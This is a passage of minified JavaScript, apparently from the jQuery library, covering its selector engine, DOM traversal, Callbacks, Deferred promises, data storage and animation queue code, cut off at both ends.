msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+I+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+I+"*(?:value|"+H+")"),e.querySelectorAll("[id~="+x+"-]").length||v.push("~="),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+x+"+*").length||v.push(".#.+[+~]")}),se(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=p.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+I+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(n.matchesSelector=G.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&se(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),y.push("!=",M)}),v=v.length&&new RegExp(v.join("|")),y=y.length&&new RegExp(y.join("|")),t=G.test(h.compareDocumentPosition),b=t||G.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},A=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===p||e.ownerDocument===w&&b(w,e)?-1:t===p||t.ownerDocument===w&&b(w,t)?1:c?P(c,e)-P(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],u=[t];if(!i||!o)return e===p?-1:t===p?1:i?-1:o?1:c?P(c,e)-P(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)u.unshift(n);while(a[r]===u[r])r++;return r?ce(a[r],u[r]):a[r]===w?-1:u[r]===w?1:0},p):p},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==p&&d(e),t=t.replace(_,"='$1']"),n.matchesSelector&&g&&!k[t+" "]&&(!y||!y.test(t))&&(!v||!v.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,p,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==p&&d(e),b(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==p&&d(e);var i=r.attrHandle[t.toLowerCase()],o=i&&D.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(A),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:ue,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return X.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&U.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+I+")"+e+"("+I+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace(W," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),u="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,s){var l,c,f,d,p,h,g=o!==a?"nextSibling":"previousSibling",v=t.parentNode,y=u&&t.nodeName.toLowerCase(),m=!s&&!u,b=!1;if(v){if(o){while(g){d=t;while(d=d[g])if(u?d.nodeName.toLowerCase()===y:1===d.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?v.firstChild:v.lastChild],a&&m){b=(p=(l=(c=(f=(d=v)[x]||(d[x]={}))[d.uniqueID]||(f[d.uniqueID]={}))[e]||[])[0]===C&&l[1])&&l[2],d=p&&v.childNodes[p];while(d=++p&&d&&d[g]||(b=p=0)||h.pop())if(1===d.nodeType&&++b&&d===t){c[e]=[C,p,b];break}}else if(m&&(b=p=(l=(c=(f=(d=t)[x]||(d[x]={}))[d.uniqueID]||(f[d.uniqueID]={}))[e]||[])[0]===C&&l[1]),!1===b)while(d=++p&&d&&d[g]||(b=p=0)||h.pop())if((u?d.nodeName.toLowerCase()===y:1===d.nodeType)&&++b&&(m&&((c=(f=d[x]||(d[x]={}))[d.uniqueID]||(f[d.uniqueID]={}))[e]=[C,b]),d===t))break;return(b-=i)===r||b%r==0&&b/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[x]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?ue(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=P(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:ue(function(e){var t=[],n=[],r=u(e.replace($,"$1"));return r[x]?ue(function(e,t,n,i){var o,a=r(e,null,i,[]),u=e.length;while(u--)(o=a[u])&&(e[u]=!(t[u]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:ue(function(e){return function(t){return oe(e,t).length>0}}),contains:ue(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:ue(function(e){return V.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===p.activeElement&&(!p.hasFocus||p.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:pe(!1),disabled:pe(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return Q.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=de(t);function ve(){}ve.prototype=r.filters=r.pseudos,r.setFilters=new ve,a=oe.tokenize=function(e,t){var n,i,o,a,u,s,l,c=N[e+" "];if(c)return t?0:c.slice(0);u=e,s=[],l=r.preFilter;while(u){n&&!(i=F.exec(u))||(i&&(u=u.slice(i[0].length)||u),s.push(o=[])),n=!1,(i=z.exec(u))&&(n=i.shift(),o.push({value:n,type:i[0].replace($," ")}),u=u.slice(n.length));for(a in r.filter)!(i=X[a].exec(u))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),u=u.slice(n.length));if(!n)break}return t?u.length:u?oe.error(e):N(e,s).slice(0)};function ye(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,u=T++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,s){var l,c,f,d=[C,u];if(s){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,s))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[x]||(t[x]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===C&&l[1]===u)return d[2]=l[2];if(c[o]=d,d[2]=e(t,n,s))return!0}return!1}}function be(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function xe(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],u=0,s=e.length,l=null!=t;u<s;u++)(o=e[u])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(u)));return a}function Ce(e,t,n,r,i,o){return r&&!r[x]&&(r=Ce(r)),i&&!i[x]&&(i=Ce(i,o)),ue(function(o,a,u,s){var l,c,f,d=[],p=[],h=a.length,g=o||xe(t||"*",u.nodeType?[u]:u,[]),v=!e||!o&&t?g:we(g,d,e,u,s),y=n?i||(o?e:h||r)?[]:a:v;if(n&&n(v,y,u,s),r){l=we(y,p),r(l,[],u,s),c=l.length;while(c--)(f=l[c])&&(y[p[c]]=!(v[p[c]]=f))}if(o){if(i||e){if(i){l=[],c=y.length;while(c--)(f=y[c])&&l.push(v[c]=f);i(null,y=[],l,s)}c=y.length;while(c--)(f=y[c])&&(l=i?P(o,f):d[c])>-1&&(o[l]=!(a[l]=f))}}else y=we(y===a?y.splice(h,y.length):y),i?i(null,a,y,s):q.apply(a,y)})}function Te(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],u=a||r.relative[" "],s=a?1:0,c=me(function(e){return e===t},u,!0),f=me(function(e){return P(t,e)>-1},u,!0),d=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];s<o;s++)if(n=r.relative[e[s].type])d=[me(be(d),n)];else{if((n=r.filter[e[s].type].apply(null,e[s].matches))[x]){for(i=++s;i<o;i++)if(r.relative[e[i].type])break;return Ce(s>1&&be(d),s>1&&ye(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace($,"$1"),n,s<i&&Te(e.slice(s,i)),i<o&&Te(e=e.slice(i)),i<o&&ye(e))}d.push(n)}return be(d)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,u,s,c){var f,h,v,y=0,m="0",b=o&&[],x=[],w=l,T=o||i&&r.find.TAG("*",c),E=C+=null==w?1:Math.random()||.1,N=T.length;for(c&&(l=a===p||a||c);m!==N&&null!=(f=T[m]);m++){if(i&&f){h=0,a||f.ownerDocument===p||(d(f),u=!g);while(v=e[h++])if(v(f,a||p,u)){s.push(f);break}c&&(C=E)}n&&((f=!v&&f)&&y--,o&&b.push(f))}if(y+=m,n&&m!==y){h=0;while(v=t[h++])v(b,x,a,u);if(o){if(y>0)while(m--)b[m]||x[m]||(x[m]=L.call(s));x=we(x)}q.apply(s,x),c&&!o&&x.length>0&&y+t.length>1&&oe.uniqueSort(s)}return c&&(C=E,l=w),b};return n?ue(o):o}return u=oe.compile=function(e,t){var n,r=[],i=[],o=k[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Te(t[n]))[x]?r.push(o):i.push(o);(o=k(e,Ee(i,r))).selector=e}return o},s=oe.select=function(e,t,n,i){var o,s,l,c,f,d="function"==typeof e&&e,p=!i&&a(e=d.selector||e);if(n=n||[],1===p.length){if((s=p[0]=p[0].slice(0)).length>2&&"ID"===(l=s[0]).type&&9===t.nodeType&&g&&r.relative[s[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;d&&(t=t.parentNode),e=e.slice(s.shift().value.length)}o=X.needsContext.test(e)?0:s.length;while(o--){if(l=s[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),J.test(s[0].type)&&ge(t.parentNode)||t))){if(s.splice(o,1),!(e=i.length&&ye(s)))return q.apply(n,i),n;break}}}return(d||u(e,p))(i,t,!g,n,!t||J.test(e)&&ge(t.parentNode)||t),n},n.sortStable=x.split("").sort(A).join("")===x,n.detectDuplicates=!!f,d(),n.sortDetached=se(function(e){return 1&e.compareDocumentPosition(p.createElement("fieldset"))}),se(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&se(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),se(function(e){return null==e.getAttribute("disabled")})||le(H,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var N=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},k=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},A=w.expr.match.needsContext;function D(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var S=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function L(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return s.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(L(this,e||[],!1))},not:function(e){return this.pushStack(L(this,e||[],!0))},is:function(e){return!!L(this,"string"==typeof e&&A.test(e)?w(e):e||[],!1).length}});var j,q=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||j,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:q.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),S.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,j=w(r);var O=/^(?:parents|prev(?:Until|All))/,P={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(w.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&w(e);if(!A.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?s.call(w(e),this[0]):s.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function H(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return N(e,"parentNode")},parentsUntil:function(e,t,n){return N(e,"parentNode",n)},next:function(e){return H(e,"nextSibling")},prev:function(e){return H(e,"previousSibling")},nextAll:function(e){return N(e,"nextSibling")},prevAll:function(e){return N(e,"previousSibling")},nextUntil:function(e,t,n){return N(e,"nextSibling",n)},prevUntil:function(e,t,n){return N(e,"previousSibling",n)},siblings:function(e){return k((e.parentNode||{}).firstChild,e)},children:function(e){return k(e.firstChild)},contents:function(e){return D(e,"iframe")?e.contentDocument:(D(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(P[e]||w.uniqueSort(i),O.test(e)&&i.reverse()),this.pushStack(i)}});var I=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(I)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],u=-1,s=function(){for(i=i||e.once,r=t=!0;a.length;u=-1){n=a.shift();while(++u<o.length)!1===o[u].apply(n[0],n[1])&&e.stopOnFalse&&(u=o.length,n=!1)}e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(u=o.length-1,a.push(n)),function t(n){w.each(n,function(n,r){g(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==b(r)&&t(r)})}(arguments),n&&!t&&s()),this},remove:function(){return w.each(arguments,function(e,t){var n;while((n=w.inArray(t,o,n))>-1)o.splice(n,1),n<=u&&u--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||s()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function B(e){return e}function M(e){throw e}function W(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var u=this,s=arguments,l=function(){var e,l;if(!(t<o)){if((e=r.apply(u,s))===n.promise())throw new TypeError("Thenable self-resolution");l=e&&("object"==typeof e||"function"==typeof e)&&e.then,g(l)?i?l.call(e,a(o,n,B,i),a(o,n,M,i)):(o++,l.call(e,a(o,n,B,i),a(o,n,M,i),a(o,n,B,n.notifyWith))):(r!==B&&(u=void 0,s=[e]),(i||n.resolveWith)(u,s))}},c=i?l:function(){try{l()}catch(e){w.Deferred.exceptionHook&&w.Deferred.exceptionHook(e,c.stackTrace),t+1>=o&&(r!==M&&(u=void 0,s=[e]),n.rejectWith(u,s))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:B,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:B)),n[2][3].add(a(0,e,g(r)?r:M))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],u=t[5];i[t[1]]=a.add,u&&a.add(function(){r=u},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),u=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&(W(e,a.done(u(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)W(i[n],u(n),a.reject);return a.promise()}});var $=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&$.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function z(){r.removeEventListener("DOMContentLoaded",z),e.removeEventListener("load",z),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",z),e.addEventListener("load",z));var _=function(e,t,n,r,i,o,a){var u=0,s=e.length,l=null==n;if("object"===b(n)){i=!0;for(u in n)_(e,t,u,n[u],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;u<s;u++)t(e[u],n,a?r:r.call(e[u],u,t(e[u],n)));return i?e:l?t.call(e):s?t(e[0],n):o},U=/^-ms-/,V=/-([a-z])/g;function X(e,t){return t.toUpperCase()}function Q(e){return e.replace(U,"ms-").replace(V,X)}var Y=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G(){this.expando=w.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},Y(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[Q(t)]=n;else for(r in t)i[Q(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][Q(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(Q):(t=Q(t))in r?[t]:t.match(I)||[]).length;while(n--)delete r[t[n]]}(void 0===t||w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!w.isEmptyObject(t)}};var K=new G,J=new G,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=te(n)}catch(e){}J.set(e,t,n)}else n=void 0;return n}w.extend({hasData:function(e){return J.hasData(e)||K.hasData(e)},data:function(e,t,n){return J.access(e,t,n)},removeData:function(e,t){J.remove(e,t)},_data:function(e,t,n){return K.access(e,t,n)},_removeData:function(e,t){K.remove(e,t)}}),w.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=J.get(o),1===o.nodeType&&!K.get(o,"hasDataAttrs"))){n=a.length;while(n--)a[n]&&0===(r=a[n].name).indexOf("data-")&&(r=Q(r.slice(5)),ne(o,r,i[r]));K.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each(function(){J.set(this,e)}):_(this,function(t){var n;if(o&&void 0===t){if(void 0!==(n=J.get(o,e)))return n;if(void 0!==(n=ne(o,e)))return n}else this.each(function(){J.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){J.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=K.get(e,t),n&&(!r||Array.isArray(n)?r=K.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return K.get(e,n)||K.access(e,n,{empty:w.Callbacks("once memory").add(function(){K.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?w.queue(this[0],e):void 0===t?this:this.each(function(){var n=w.queue(this,e,t);w._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&w.dequeue(this,e)})},dequeue:function(e){return this.each(function(){w.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=w.Deferred(),o=this,a=this.length,u=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=K.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(u));return u(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),oe=["Top","Right","Bottom","Left"],ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&w.contains(e.ownerDocument,e)&&"none"===w.css(e,"display")},ue=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};function se(e,t,n,r){var i,o,a=20,u=r?function(){return r.cur()}:function(){return 